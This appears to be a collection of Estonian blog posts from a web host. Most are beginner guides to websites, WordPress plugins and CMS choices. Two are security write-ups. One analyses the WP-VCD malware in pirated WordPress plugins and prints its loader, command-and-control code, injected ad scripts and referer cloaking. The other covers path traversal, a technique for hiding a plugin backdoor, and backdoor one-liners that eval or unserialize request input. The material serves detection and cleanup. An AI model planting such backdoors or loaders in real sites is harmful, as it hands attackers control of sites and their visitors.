Kas lihtsama kodulehe loomine on teostatav, kui puuduvad eelnevad teadmised?

Aastal 2022 võib juba julgelt väita, et koduleht on muutunud iga ettevõtte jaoks niiöelda visiitkaardiks, ilma mille olemasoluta ettevõtet justkui ei eksisteerigi. Kui aga tulebki plaan luua enda ettevõttele veebileht, siis millest peaks alustama? 

Esmalt on mõistagi tähtis enda jaoks läbi mõelda see, millist eesmärki koduleht hakkab täitma. Sellest sõltuvad suuresti ka järgmised valikud ja otsused. Toome alljärgnevalt ära mõned põhipunktid, millega kodulehe loomisel arvestada tuleks.

Alusta domeeni registeerimisest

Kodulehe loomisega saab tänasel päeval hakkama sisuliselt iga inimene, kel on natukenegi rohkem pealehakkamist. Küll aga tuleb sealjuures pisut aega ja kannatust varuda. Loomulikult on alati võimalus ka kodulehe valmistamise eest maksta mõnele teisele ettevõttele, ent oluliselt taskukohasem on seda ise teha. Kuidas siis ikkagi ise veebileht luua?

Kõigepealt tuleks registreerida domeen, millest saab ühtlasi sinu kodulehe nimi. Reeglina on selleks ettevõtte enda nimi, kuid muidugi ei pea olema. Domeeni registreerimine on üpriski lihtne protsess, mis ei nõua inimeselt kuigi palju aega ja teadmisi.

Seda saab mugavalt teha siin, kus saad ka kontrollida, kas soovitud domeen on saadaval või mitte.

Tasub veel meeles pidada, et domeeni registreerimine on tasuline. Hinna puhul mängib rolli näiteks domeenilaiend – .ee ja .com laiendite eest tuleb välja käia natuke rohkem kui .eu puhul. Keskeltläbi tuleb domeeni registreerimise eest maksta 7-15 eurot aastas. Rohkem infot hindade kohta leiab siit.

Vali oma ootustele vastav veebimajutuspakett

Domeeninimest sugugi mitte vähemtähtsam on sobivaima veebimajutuspaketi leidmine oma kodulehe tarbeks. Veebimajutus ehk virtuaalserver on platvorm, tänu millele muutub sinu domeen maailmale kättesaadavaks. Zone poolt pakutavate veebimajutuspakettide lahutamatuks osaks on ka e-posti teenus, hulgaliselt kettamahtu ning kümneid teisi kasulikke lisafunktsioone ja -featuure, mis muudavad teenuse kasutamise hõlpsaks, kiireks ja turvaliseks.

Enne paketi valimist tee aga endale kindlasti selgeks, millised on su reaalsed vajadused ja ootused. Kui sa ise arendaja pole, siis konsulteeri kindlasti ka oma veebilehe arendajaga, kes aitab sul orienteeruda sinu vajaduste ning meie veebimajusteenuste poolt pakutavate võimaluste rägastikus. Lisaks tasub kindlasti ka tutvust teha sellekohase blogipostitusega, milles me veebimajutusteenuse paketi valimisega kaasneva rägastiku pulkadeks lahti võtame.

Vali sobiv sisuhaldussüsteem

Kodulehe valmistamiseks mõeldud sisuhaldussüsteeme on internetis väga palju ning igal ühel neist omad plussid ja miinused. Sisuhaldussüsteemi valiku puhul peaks lähtuma eeskätt sellest, mida sa täpsemalt enda kodulehel teha tahad. Samuti ka individuaalsest eelistusest.

“Õige” süsteemi valimine võib esmapilgul tunduda üsnagi keerulisena, kuna eelnev kogemus nendega puudub. Hetkel on kolm suurimat sisuhaldussüsteemi WordPress, Drupal ja Joomla.

Kõige populaarsem nendest on kahtlemata WordPress, mis sobib väga hästi just nimelt algajatele. Tegu on võrdlemisi lihtsa ja mugava süsteemiga, kus on suur valik erinevaid pluginaid ja võimalusi, et luua endale meelepärane veebileht.

Drupal ja Joomla on see-eest terake keerulisemad sisuhaldussüsteemid, mis on pigem tuntumad professionaalsete arendajate seas. Kindlasti on võimalik ka algajal neid süsteeme kasutada, ent nende tundmaõppimine nõuab paratamatult rohkem aega ja vaeva. Siit saad lähemalt lugeda sisuhaldussüsteemide kohta.

Zone’is saad lisaks eelmainitud sisuhaldussüsteemidele kätt proovida mitmete teistegi tasuta ja ka tasuliste rakendustega, Zone+ valikute seas on üks populaarsemaid tasulisi rakendusi kindlasti omamaine Voog.

Jällegi on oluline meeles pidada, et sisuhaldussüsteemi kasutamine nõuab õppimist. Õnneks leiab palju abi internetist, kus tehakse samm-sammu haaval selgeks, kuidas üht või teist süsteemi kasutada ja nendega seeläbi koduleht luua.

Kokkuvõtteks võib öelda, et kodulehe tegemine omal käel on täiesti teostatav ülesanne ent see vajab algul õppimist ja aega. Kui aga näiteks peaksidki mõnes kohas hätta jääma, siis alati võib pöörduda mõne arendaja poole, kes sind sinu mures aitaks ja asja lihtsas keeles selgeks teeks.

Käesolev blogipostitus on sündinud koostöös DigiGeeniusega.

5 kasulikku WordPressi pluginat, mille lisamisele võiks iga kodulehe looja mõelda

Kodulehe loomisel on teadupoolest oluline roll pistikprogrammidel ehk pluginatel, mis aitavad suurendada sinu veebi funktsionaalsust. Näiteks maailma kõige populaarsem sisuhaldussüsteem WordPress pakub kasutajatele tuhandeid erinevaid pluginaid, kuid tihtipeale tavainimene ei oskagi nende seast endale sobivaid välja valida.

Järgnevalt oleme välja toonud viis tasuta WordPressi pluginat, mis võivad kodulehe omanikule kasu tuua.

Contact Form 7

Igal kodulehel võiks kindlasti olemas olla kontaktivorm, mille kaudu saab saiti külastav isik sinuga ühendust.

Contact Form 7 plugin võimaldabki veebilehele lisada kontaktivormi, mis teeb klientidega suhtlemise oluliselt lihtsamaks ja mugavamaks. Pluginaga saab luua nii lihtsamaid kui ka keerulisemaid vorme.

Tugevusena võib veel välja tuua võimaluse lisada Google recaptcha süsteemi, mis takistab robotitel sinu kodulehel tegutsemast.

Yoast SEO

Et sinu koduleht oleks otsingumootoris pidevalt nähtaval kohal, tuleb kahtlemata tähelepanu pöörata SEO-le (search engine optimization ingl k). WordPressile mõeldud Yoast SEO plugin täpselt seda aitabki sul saavutada.

Tegu on vaieldamatult parima SEO pluginaga WordPressi jaoks, mille eesmärk on mõistagi tõsta veebileht otsingutulemustes kõrgemale positsioonile. Yoast SEO võimaldab sul lisada tiitli, metakirjelduse ja peamise märksõna – kõik tähtsad elemendid optimeerimiseks.

iThemes Security

Internetiavarustes tegutsevate küberkurjategijate arv kasvab iga aastaga ning tänapäeval võivad ohvriks langeda isegi väiksemad ja pealtnäha süütud veebid. Kodulehe turvalisuse suurendamiseks sobib hästi iThemes Security plugin.

iThemes Security plugina üheks funktsiooniks on ajutise administreerimis- või toimetamisõiguse andmine kellegi teisele. Kasulik on see siis, kui tahad näiteks enda veebilehele ligi lasta mõne arendaja, aga ei soovi oma administraatori õigust talle üle anda.

Lisaks aitab veel iThemes sinu kodulehte kaitsta nii-öelda toore jõu vastu. See tähendab, et plugin blokeerib automaatselt häkkereid, kes on juba mõnele teisele veebilehele proovinud sisse saada. Samuti võimaldab plugin sul teha ka varukoopiaid andmebaasist.

W3 Total Cache

Turvalisuse kõrval on sama kriitiline ka veebilehe kiirus. W3 Total Cache plugina peamine eesmärk ongi just nimelt suurendada kodulehe kiirust.

Veebilehe kiiremaks laadimiseks kasutatakse erinevaid meetodeid ning üheks selliseks on puhverdamine. Selle protsessi käigus salvestatakse ajutiselt vahemällu veebilehe andmed. Niisiis loob see tööriist kodulehest staatilise versiooni ning kuvab seda külastajale dünaamilise asemel.

Lisaks pakub W3 Total Cache mitmeid lisavõimalusi ka edasijõudnud kasutajale, millega veel enam enda veebilehe kiirust tõsta.

BackWPup

BackWPupi plugina näol on tegemist tööriistaga, mis võimaldab teha automaatselt varukoopiaid lehe failidest ja andmebaasist. Oluline sealjuures ongi see, et BackWPup ei tee varukoopiaid üksnes andmebaasist, vaid ka kõikidest failidest.

Pluginal on saadaval ka tasuline versioon, mis pakub kasutajale rohkem võimalusi. Küll aga piisab lihtsamate toimetuste tegemiseks ka tasuta versioonist.

Käesolev blogipostitus on sündinud koostöös DigiGeeniusega.

Mis on WordPress, Drupal, Joomla ja Voog ning mille ma peaksin valima oma kodulehe tegemiseks?

Kodulehe loomine on tänapäeval tehtud üpriski lihtsaks, millega saab hakkama igaüks, kes on vähegi valmis pisut rohkem aega sinna panustama. Üldjuhul on veebilehe loomisel esimene samm sobiva sisuhaldussüsteemi valimine. Sisuhaldussüsteem ehk content management system (CMS) on tarkvara, millega saab veebilehtede sisu ja struktuuri muuta ning hallata.

Sisuhaldussüsteeme on internetis saadaval ilmatuma hulk, kuid Zone kasutajatele tahaks esile tuua kolm globaalse tuntusega ning lisaks ühe kodumaise sisuhaldusrakenduse, millel igalühel neist on omad võimalused ja funktsioonid. Need on WordPress, Drupal, Joomla ja Voog. Milline neist valida?

WordPress

WordPress on vaieldamatult maailma kõige populaarsem avatud lähtekoodiga sisuhaldussüsteem, mis loodi 2003. aastal ja mille abil on ehitatud tänaseks 43% kõikidest olemasolevatest veebilehtedest.

WordPressi kasuks räägib kahtlemata selle lihtsus: see ei nõua inimeselt kuigi peeneid eelteadmisi, mistõttu ongi WordPress tõenäoliselt niivõrd populaarne kasutajate seas.

Lisaks sellele, et WordPress ei ole algajale kuigi keerukas kasutada, pakub see ka väga suurel hulgal pistikprogramme (pluginad), mis aitavad sul luua just sellise kodulehe, mis parasjagu mõttes on.

Plusspunkte lisab veel näiteks otsingumootori tulemuste optimeerimise sõbralikkus. Seda peavad ka mitmed eksperdid WordPressi suureks eeliseks, kuna SEO võimekus on tõepoolest sellel sisuhaldussüsteemil hea.

Miinusena võib välja tuua turvalisuse aspekti. Kuna tegu on ikkagi kõige populaarseima platvormiga, siis tänu sellele leidub ka palju kurjategijaid, kes otsivad pidevalt uusi võimalusi, et WordPressile ehitatud veebilehti rünnata.

Kokkuvõtteks võib öelda, et WordPressi näol on tegemist lihtsa ja palju erinevaid võimalusi pakkuva sisuhaldussüsteemiga, millele võiks mõelda inimene, kellel puuduvad veel põhjalikumad teadmised ja kogemused kodulehe ehitamise alal.

Joomla

Populaarsuselt teisel kohal olev sisuhaldussüsteem on Joomla, mis on samuti avatud lähtekoodiga ja mis jõudis turule mõnevõrra hiljem – 2005. aastal.

Joomla on tegelikult üpriski sarnane WordPressiga, ent siiski kübeke keerulisem ning vajab kasutamiseks inimeselt juba paremaid IT-alaseid oskusi kui eelmainitud platvormi puhul.

Üks Joomla peamisi eeliseid on selle paindlikkus. Kui kasutajal on olemas HTML-i põhiteadmised, siis saab ta hõlpsasti proovida ja katsetada erinevate disainidega ning seeläbi leida endale just kõige sobivam ja meelepärasem veebilehe kujundus.

Samuti on sellel suur aktiivne kogukond, kust saab kasulikku nõu ja näpunäited, mis aitavad sul veebilehte luua. Võrreldes WordPressiga on Joomla SEO valdkonnas võibolla pisut nõrgem tegija, mistõttu peab arendusele kohati rohkem rõhku panema, et jääda otsingumootoris nähtavamale positsioonile.

Kuna Joomla kasutajaskond on märgatavalt tagasihoidlikum, siis peetakse seda reeglina ka turvalisemaks platvormiks.

Drupal

Tuntumate sisuhaldussüsteemide seas kõige pikema staažiga tegelane on Drupal, mis toodi turule 2001. aastal. Sarnaselt kahele eelnevale platvormile, on ka Drupal avatud lähtekoodiga süsteem.

Drupal on kahtlemata kolmest kõige keerukam sisuhaldussüsteem, mistõttu on see peamiselt levinud koodimisoskustega arendajate seas. Näiteks kui sul on plaanis luua suurem ja mahukam veeb, siis sobib Drupal selleks suurepäraselt.

Kindlasti ei ole Drupal kõige õigem valik algajale, sest selle tundmaõppimine on kordades ajamahukam ja keerulisem kui näiteks WordPressi või Joomla puhul.

Drupali eelisteks on tema paindlikkus: süsteem on vägagi arendajasõbralik ja lisaks on sellel hea SEO võimekus. Kitsaskohtadena võib välja tuua vähese tasuta pluginate arvu ja tagasihoidliku kujundusteemade valiku.

Voog

Kui kolm eelnevat sisuhaldussüsteemi on tuntud üle terve maailma, siis lõpetuseks tahame keskenduda ka ühele kodumaisele, kuid oma omadustelt ja kasutajasõbralikkuselt kaugeltki eelnevatele sugugi mitte alla jäävale rakendusele nimega Voog. Erinevalt eelnevatest on tegemist kuupõhiselt tasulise rakendusega, kuid just tänu sellele on tegemist vast kõige kasutajasõbralikuma ning võimalusterohkema rakendusega kõigi siin postituses kirjeldatud rakenduste seas.

Voogi abil on veebi disainimine, arendamine ning sisuhaldus tehtud uskumatult sujuvaks ning selle tundmaõppimine ei võta kaua aega. Saad valida kümnete ja kümnete kvaliteetsete käsitööna valminud kujundusmallide vahel, mida oma maitse järgi kohandada.

Rakendusel om inimsõbralik kasutajaliides, mille abil saad muuta sujuvalt nii veebi struktuuri kui ka sisu, selle kasutamine ei eelda IT-alaseid süvateadmisi. Sisuhaldussüsteemi seadistatakse, värskendatakse ja varundatakse sinu eest ilma, et peaksid sellele ise aega kulutama.

Ja mis vast kõige olulisem: kui peaksid oma veebilehe ehitamisel hätta jääma, siis saad alati professionaalset tuge Voogi meeskonnalt, kes räägivad sinuga sinu emakeeles.

Käesolev blogipostitus on sündinud koostöös DigiGeeniusega.

WP-VCD ehk eelpaigaldatud pahavaraga “tasuta” pluginad ja teemad

Kui sa kauba eest ei maksa, siis oled kaup sina ise. Või sinu arvuti. Või sinu veebileht.

Hetkel on meie juures üle 70 WordPressi-saidi, mis omaniku tahte vastaselt külastajaid erinevatele saitidele edasi suunavad. Põhjuseks “tasuta kohast” saadud tasuline plugin või teema … millega käib kaasas pahavara ehk täpsemalt öeldes tagauks.

Külastaja vaade

Toimub see kõik umbes nii:

  • külastaja saabub otsimootori kaudu veebilehele;
  • veebilehe koodi sokutatakse viited mujal asuvatele skriptidele;
  • kasutaja brauseris käivitatud skript jääb ootama esimest klikki…;
  • … ja avab uue brauserisaki, kus kuvatakse reklaami;
  • ühtlasi salvestatakse brauserisse küpsised, mis mõeldud reklaami efektiivsuse mõõtmiseks ja tagavad ka selle, et ta saaks soovitud veebis mõnda aega segamatult klikkida.

Reklaamini jõuab kasutaja läbi mitme edasisuunamise, näiteks minule pakuti testis laen[.]ee ja olybet[.]ee saite, esimeseks sammuks mõlemal puhul cobalten[.]com:

Veebiomaniku vaade

Minule monitooringus silma hakanud saitide puhul on pahavaraks WP-VCD, mille paigaldus-skript sisaldub enamasti class.plugin-modules.php või class.theme-modules.php nimelises failis, mis on lisatud “nullitud” (nulled) ehk sisuliselt piraaditud tasulisele pluginale või teemale:

<?php if (file_exists(dirname(__FILE__) . '/class.plugin-modules.php')) include_once(dirname(__FILE__) . '/class.plugin-modules.php'); ?>

Ääremärkus: kuna WordPress ja teemad on GPL litsentsiga vaba tarkvara, siis juriidiliselt ei ole nende kopeerimine piraatlus sest ainus asi mille eest raha küsitakse on uuendused, teemade puhul ka eraldi autoriõiguse all olev kujundus. Aga kuna antud puhul toimub sinu veebi ülevõtmine piraatide poolt, siis otsustasin kasutada nimelt seda sõna.

Golce & Dabbana? Roolex? Sir! I haz very good price, only original fakes!

See kood korraldab pahavara laiema paigalduse, nii näeb see välja pahavaraga WPML puhul:

2018-04-08 14:43 - ./wp-content/plugins/sitepress-multilingual-cms/inc/class.theme-modules.php
2018-04-08 14:43 - ./wp-content/themes/Avada-Child-Theme/functions.php
2018-04-08 14:43 - ./wp-content/themes/Avada/functions.php
2018-04-08 14:43 - ./wp-content/themes/twentyfifteen/functions.php
2018-04-08 14:43 - ./wp-content/themes/twentyseventeen/functions.php
2018-04-08 14:43 - ./wp-content/themes/twentysixteen/functions.php
2018-04-08 14:43 - ./wp-includes/wp-vcd.php

Ehk siis /wp-includes/wp-vcd.php saab oma sisuks paigalduskoodi ning selle käivitamiseks vajalik include läheb WP osaks oleva /wp-includes/post.php algusesse … ning class.theme-modules.php tehakse kenasti tühjaks, sealt ei tohiks hiljem vaadates enam midagi kahtlast märgata.

Lisaks paigaldatakse kõigi leitud teemade functions.php faili kood, mis võimaldab edaspidi lihtsalt muuta command & control serveri domeeninime … ning saadetakse ülevõetud serveri andmed peremehele:

if (isset($_REQUEST['action']) && isset($_REQUEST['password']) && ($_REQUEST['password'] == 'xxxxxxxxx'))
  {
$div_code_name="wp_vcd";
    switch ($_REQUEST['action'])
      {
        case 'change_domain';
          if (isset($_REQUEST['newdomain']))

Edaspidi märkab vaid kahe faili muutumist:

2018-07-28 00:07 - ./wp-includes/wp-tmp.php

2018-07-19 11:41 - ./wp-includes/wp-feed.php

wp-tmp.php failis hoitakse koodi mida peremees veebis kuvada soovib, nt:

<script type="text/javascript" src="//go.onclasrv[.]com/apu.php?zoneid=1635111"></script>
<script async="async" type="text/javascript" src="//go.mobisla[.]com/notice.php?p=1635222&interactive=1&pushup=1"></script>
<script src="//pushnest[.]com/ntfc.php?p=1662333" data-cfasync="false" async></script>

… ning wp-feed.php sisaldab adminnina sisse loginud kasutajate IP-aadresse – nii väldib pahavara seda, et saidi tegelik omanik kogemata reklaami näeks (lisaks läheb brauserisse ka vastav küpsis):

146.255.1xx.xxx
146.255.1xx.xxx
95.161.2xx.xxx
194.150.6x.xxx
146.255.1xx.xx

Ja kui siis veebi tuleb külastaja mõnest otsimootorist:

$ref = $_SERVER['HTTP_REFERER'];
$SE = array('google.','/search?','images.google.', 'web.info.com', 'search.','yahoo.','yandex','msn.','baidu','bing.','doubleclick.net','googleweblight.com');
foreach ($SE as $source) {
  if (strpos($ref,$source)!==false) {
    setcookie("sevisitor", 1, time()+120, COOKIEPATH, COOKIE_DOMAIN); 
	$sevisitor=true;
  }
}

… pannakse skriptid lehesappa ning märgitakse ta kaheks tunniks “ära reklaamituks”.

Kuidas kontrollida?

Kuna pahad skriptid saavad kuvatud ainult juhul, kui tuled otsimootorist ja ei ole varem sama IP või brauseriga olnud adminnina sisse logitud… siis:

  • kui oled adminnina varem sisse loginud – siis kasuta mobiiltelefoni internetti või mõnda wifi-võrku
  • ava Google Chromes inkognito aken, tee hiirega paremklõps ja vali “Inspekteeri” (pärast võib ka see liigutus reklaami avada)
  • googelda oma domeeni, siirdu lehele
  • vaata inspektori Elements vaates lehe jaluses olevaid skripte… või proovi klikkida oma veebis suvalisse kohta ja vaata, kas satud kuhugi, kuhu ei plaaninud sattuda

Loomulikult võib ka vaadata FTPga serverisse – kui leiad /wp-includes/wp-vcd.php faili, siis on tegemist täpselt siinkirjeldatud pahavaraga.

Koristaja vaade

Kuna ainus turvanõrkus on (loodetavasti) see piraat-teema või -plugin ning serveris toimuva muster näib olevat ühetaoline, ei tohiks puhastamine olla ülearu keeruline:

  1. leia üles probleemne teema või plugin ja asenda see ametliku, puhta versiooniga (jah, see maksab raha – sest kellegi jaoks on selle valmistamine ja värskena hoidmine töö) – otsi class.plugin-modules.php või class.theme-modules.php nimelist faili
  2. kustuta ära kõik kasutusel MITTE olevad teemad ja pluginad (lihtsam puhastada)
  3. eemalda /wp-includes kataloogist wp-feed.php, wp-tmp.php ja wp-vcd.php; post.php algusest eemalda include käsk
  4. käi üle teema(de) functions.php failid ning eemalda nende algusest kahtlane kood
  5. vaata igaks juhuks ctimer.php abil ega mõnda muud faili näpitud ole
  6. turvakaalutlusel võiks ära vahetada ka: andmebaasiparooli, WP kasutajate paroolid ning wp-config.php‘s olevad soolad
  7. … ning kui juba veebis oled, siis uuenda ära ka WP ja kõik pluginad-teemad (ning vii veeb HTTPS peale + vaheta PHP versioon värskeima toimiva vastu – ilmselt 7.1 või 7.2)

Kui koristamistegevus keeruline tundub, siis kirjuta info@zone.ee, maini WP-VCD probleemi ja telli meilt puhastustöö (mõnede levinumate pluginate nagu WPML puhul on meil olemas arendaja-litsents ja saame need kenasti ametlike/legaalsetega asendada, vähemlevinud pluginate puhul lisandub nende hind tööaja hinnale).

Pöördlammutamine ehk pihtas-põhjas, nett on hukas

“Midagi võiks ära lammutada,” selgitas Birgy Lorenz, kui mult Küberolümpia ehk European Cyber Security Challenge 2017 eelvooru seminari jaoks ettekannet küsis.

Kuna täiesti juhuslikult oli minul samal ajal plaanis Muhu Väina regatil purjekat ja/või Riia linna lammutada, siis kasutasin võimalust ning vormistasin oma demod 13,5-minutiliseks videoks.

Sihtgrupist lähtuvalt on see pöördlammutamine “veidike” tehnilisevõitu, aga kindlasti õpetlik vaatamine kõigile veebirakendustega (eriti WordPressiga) tegelejatele. Pikem taustaselgitus allpool, sobib lugeda nii enne kui ka pärast video vaatamist.

Pöördlammutamine?

Lammutamise all mõtles Birgy seda, et võiks võtta ette mõne turvaprobleemidega süsteemi ja näidata, kuidas ühest väiksest august sisse pääsenuna õnnestub ka kõik muu üle võtta. Kuna ise endale ründeks probleemset veebi ette valmistades tekib alati selline… lati alt läbi mineku tunne, otsustasin sedapuhku veidi keerulisema tee kasuks. Võtsin ette 5 viimasel ajal maha häkitud WordPressi, mille puhastamiseks kliendid Zone klienditoe tehnikute abi on kasutanud ja seadsin endale järgmised ülesanded:

  • tuvastada kogu veebis olev pahavara (sellest ka “pöördlammutamine”)
  • lisada leitu ühele tühjale ja anonüümsele WordPressile
  • testida levinud pahavara-skännereid ja määrata nende efektiivsus
  • selgitada välja tõenäoline sissehäkkimise viis
  • rääkida tulemus lahti videos, mis on lühem kui 10 minutit

Viimane punkt läks veidi lappama, sest õpetlikke näiteid kogunes kahjuks rohkem kui 10 minuti sisse mahtus.

Eriti räpane WordPress

Eksperimendi üheks ajendiks oli ka maikuus FB WordPress Eesti grupis toimunud arutelu WP turvapluginate ja skannerite efektiivsuse teemal. Kuna mu eelmise aasta pahavara-näidiste komplekti olid erinevad teenused hakanud üsna kergesti ära tundma, kasutasin vabu hetki jõudmaks puhastamist vajavatele veebidele jaole enne tehnikute tööleasumist, kogusin tõendusmaterjali rünnete kohta ning tegin läbi lihtsustatud versiooni meie puhastus-protsessist: vahetasin välja WP ja kõik pluginad-teemad, seejärel lasin versioonihaldusel kuvada erinevusi ehk muudetud või lisatud faile.

Huvitavad näited – nakatatud ja pahavaralised pluginad, WP kataloogidesse ja koodi sokutatud tagauksed, kataloogitäied SEO-spämmi jms – tõstsin üle puhtasse WordPressi, pannes kõik probleemid kenasti tabelisse kirja.

Kas ma seda WordPress’i jagan kah? Kui on huvitav kasutusplaan ja usaldusväärne küsija, siis kaalun plusse ja miinuseid.

Tööriistad

Käsitsi oleks seda kõike nüri teha – eriti mitme veebi puhul. Minu tavapärane tööriistakohver näeb välja selline:

WPScan – käsurealt käivitatav utiliit, mis kasutab wpvulndb.com andmebaasi ja proovib leida WP enda ja pluginate-teemade teadaolevaid haavatavusi. Kohati annab see aimu võimalikust ründevektorist – nt mõni plugin, mis lubab path traversal’it ehk kuvada failide sisu, sh wp-config.php, kus on kirjas andmebaasi kasutajatunnused. Paraku ei saa WPScan alati täpselt pihta plugina versioonile, tekitades ohtralt lärmi valepositiivsete leidude näol. Ja samas oleme me kohanud saite pluginatega, mis ei ole kirjas üheski andmebaasis ja veelgi enam – haavatav versioon on endiselt WP plugina-saidist allalaetav.

Minu enda ctimer.php (mille leiab koos selgitustega blogipostist CSI küber – kas keegi on mu serveris faile muutnud?) – kuna ctime aeg läheb kirja kerneli õigustes, siis võib seda usaldada, erinevalt tavaliselt kuvatavast ja igaühe poolt muudetavast mtime ajast. Sortides faile ctime järgi hakkab sageli silma värskeim kahtlasel moel muudetud fail, mille asukoht võib reeta probleemse plugina või hoopis selle, et sissetung on toimunud adminnkasutaja parooli äraarvamise ja WP enda teema/pluginaeditori kaasabil. Või siis vähemalt on teada, millisest ajajärgust tuleks logisid uurima hakata.

Logid, grep ja less – sellest, kuidas logisid uurida, tuleks teha täiesti eraldi postitus. Arvestades nende suurust peaks käsurealt greppimine ja tulemuses ringi navigeerimine olema igal veebimeistril samamoodi käpas nagu HTML, CSS, Gulp, Bower jne. Sedapuhku tekkis paari saidi puhul justnimelt logisid vaadates mõte, et probleemiks on nõrk parool – sest teemafaile oli muudetud kohe pärast loginit.

hashcat – jõhker overkill kontrollimaks paroolide tugevust räside brute force’imise meetodil. Aga mingi tööriistaga pidi seda tegema ja ka maailma väikseim sõnastik, kus sisalduvad ainult kasutajanimed, saidinimi ja paar levinumat nõrka parooli on sõnastik. Minul oli lisaks reegel, mis proovis panna kasutajanime lõppu numbreid 1-9 ja lähemaid aastaarve.

Minu enda WP-CLI-põhine shellscript clinup – võimaldab ühe käsuga teha liigutusi nagu WP, pluginate ja teemade vahetamine sama (või värskeima) versiooni koodi vastu tehes iga sammu järel git commit, PHP otsimine uploads-kaustast, .htaccess abil elementaarsete piirangute kehtestamine ja palju muud huvitavat.

Õpetlikud näited

WPscan abil leiab pahalaste poolt ülevõetud veebidest sageli uuendamata ja teadaoleva turvaaugu pluginaid koos selle ärakasutamise õpetusega. Heal juhul selgub sellest kohe ka ülevõtmise meetod ehk lappimist vajav probleem.

Tavapärane ründaja töötab mõistagi täpselt vastupidi, ehk skannib kõiki ettesattuvaid veebe proovides leida nõrkusi, mille jaoks on tema tööriistakohvrikeses rünne juba olemas.

Kataloogihüpe

Enamasti pakub ründajatele huvi võimalus faile üles laadida, aga oluliselt levinum turvaprobleem on path traversal ehk kataloogihüpe – seda kasutatakse ära nägemaks wp-config.php’st andmebaasi kasutajatunnuseid.

Videos demongi ühte sellist probleemi kasutades Font plugina versiooni 7.5, mis ühes nakatunud veebis kasutusel oli:

Tähelepanelik vaataja märkab siinkohal kindlasti, et selle kirjelduses on mainitud ka “authenticated” ehk siis probleemi ärakasutamine eeldab sisseloginud kasutajat. See ei pea aga üldsegi tähendama admin-kasutajat. Kuna tolles veebis oli paigaldatud ka WooCommerce, siis oli täiesti võimalik regada endale kliendi-konto ning olles sellega sisse loginud, teha vastav pöördumine, sest ei kontrollita admin-õigust, vaid lihtsalt sisselogimist:

Olgu öeldud, et üks kahtlasevõitu epostiga kasutaja oli seal veebis ka olemas. Paraku märkasin seda alles pärast salvestamist, seega jõuan video lõpus veidi teistsugusele ja oluliselt lihtsamat ligipääsu võimaldavale järeldusele.

Aga üks näide käib selle plugina juurde veel: kui teha koodis vaevumärgatav muutus ehk eemaldada ülaloleval ekraanilasul valitud nopriv_, siis kaob vajadus sisselogimise järele. Kui muuta lisaks plugina versioon värskeimaks olemasolevaks, siis on mul veebis ideaalne tagauks: see ei näi põgusal vaatlemisel kahtlane ning veebimeister võib WordPress’is pluginaid uuendada ja andmebaasi-paroole vahetada palju tahab.

Tõsi – on üks väike nipp, mis sellise probleemi vastu aitab: kui kasutada uuendamiseks WP-CLI käsurea-utiliiti, siis saab anda kaasa parameetri --force, mis tagab ka olemasolevate pluginate re-installi (juhul, kui need kasutavad standardset uuendusprotsessi st ei ole käsitsi kusagilt paigaldatud). Ja kui ükshaaval ei viitsi uuendada, siis võib küsida nimistu ja lasta tsükliga:

wp plugin install $(wp plugin list --field=name) --force

Ja seejärel võib vaadata, et mis kataloogid jäid viimase 15min jooksul vahetamata ning need käsitsi üle käia:

find wp-content/plugins -maxdepth 1 -type d -mmin +15 -exec basename {} \;

Videos teen ma sama oma veidi keerukama clinup skriptiga, mis oskab vahetada hetkel kasutusel oleva versiooni vastu ja ühtlasi iga sammu vahel git commit teha, kuvades mugavalt kõik muutused:

Teepaljang

Tunnistan, et olen ka ise full path disclosure ehk teepaljangule liiga vähe tähelepanu pööranud. Kui veebis on äraarvatavas asukohas viga andev PHP-fail, siis kuvab veateade vaikimisi välja faili asukoha kettal:

Kuna mul esimesel katsel tavapärane kataloogipuus ülespoole liikumine ehk ../../../wp-config.php tulemust ei andnud – ilmselt tegin miski kirjavea – leidsin äraarvatavast asukohast ehk teemakataloogist hõlpsalt faili, mis reetis veebiserveri juurkataloogi.

Hea oleks vigade väljastamine juba php.ini’s ära keelata – meie puhul sobib selleks phpini/global/php.ini fail (ülejäänud on automaatselt genereeritud ja neid kasutaja muuta ei saa):

[PHP]

display_errors = Off

… aga siis tuleks meeles pidada, et nii on tehtud ja edaspidi vigu ikka logidest otsida ja mitte helistada klienditoele teatega “mu veeb kuvab valget lehte”.

Ääremärkus – juba mõnda aega leiavad PHP 7 kasutajad logs kataloogist ka viimaste päevade PHP-vealogid ning sümbollingi käsiloleva päeva logile.

Jagatud serveri needus: jagatud andmebaasiserver

Ja mis nende andmebaasi-paroolidega pihta hakata? Jagatud serveri puhul on jagatud ka andmebaasiserver ja PHPmyadmin vms lihtne haldusvahend… ning sealtkaudu saab endale adminn-kasutaja lisada või mõne olemasoleva parooliräsi korraks ära muuta. Zupsti sisse-välja… ja tehtud. Valus hakkab pärastpoole.

Selle vastu väga head lahendust ei ole. Võiks ju keelata PHPmyadmin’i kasutamise, aga teisest samas serveris olevast ülevõetud veebist saab ikka ligi, sest IP millega ligipääsu saab piirata on sama. Eriti paranoilised isikud – nagu mina – võivad muidugi salvestada paroolid Apache direktiivide abil keskkonnamuutujatesse ja siis neid kasutada:

Ja wp-config.php-s:

define( 'DB_NAME', $_ENV['DB_NAME'] );
define( 'DB_USER', $_ENV['DB_USER'] );
define( 'DB_PASSWORD', $_ENV['DB_PASSWORD'] );
define( 'DB_HOST', $_ENV['DB_HOST'] );

(just-in-case kõik mu muud nipid veebi kaitsmiseks alt veavad)

Tavaline ja ebatavaline tagauks

Harilikult leiab veebist tagauksed ja pahavara koodi vaadates üsna kergesti üles – sest sealt paistavad eval(), system(), base64_decode() vms funktsioonide kõrvad:

Sedapuhku hakkas mulle aga silma ka haruldasem elukas – nimelt oli ühes failis selline rida:

echo preg_filter('|.*|e', $_REQUEST['oneman'], '');

PHP on selline tore keel, kus regex’is on olemas modifikaator e ehk PREG_REPLACE_EVAL , mis on varmalt valmis kõike leitut eval()’ima ehk kasutaja sisestatut käsuna täitma. See on eemaldatud PHP versioonis 7 – aga aastal 2012 loodud veebiserveris versiooni vahetamine on nõrkadele…

Misiganes põhjusel on parimad nimistud innovatiivsetest tagauksestatud koodinäidistest hiinakeelsetes veebides, ei hakka siinkohal linkima, aga googeldades “php callback backdoor”, siis peaks üht-teist välja ilmuma (saitide külastamine omal vastutusel).

Lisaks hakkas mulle FlickrPress plugina (tänaseks kataloogist eemaldatud) koodis täiesti juhuslikult silma rida:

 $something = unserialize(@base64_decode($_REQUEST[‘something’]));

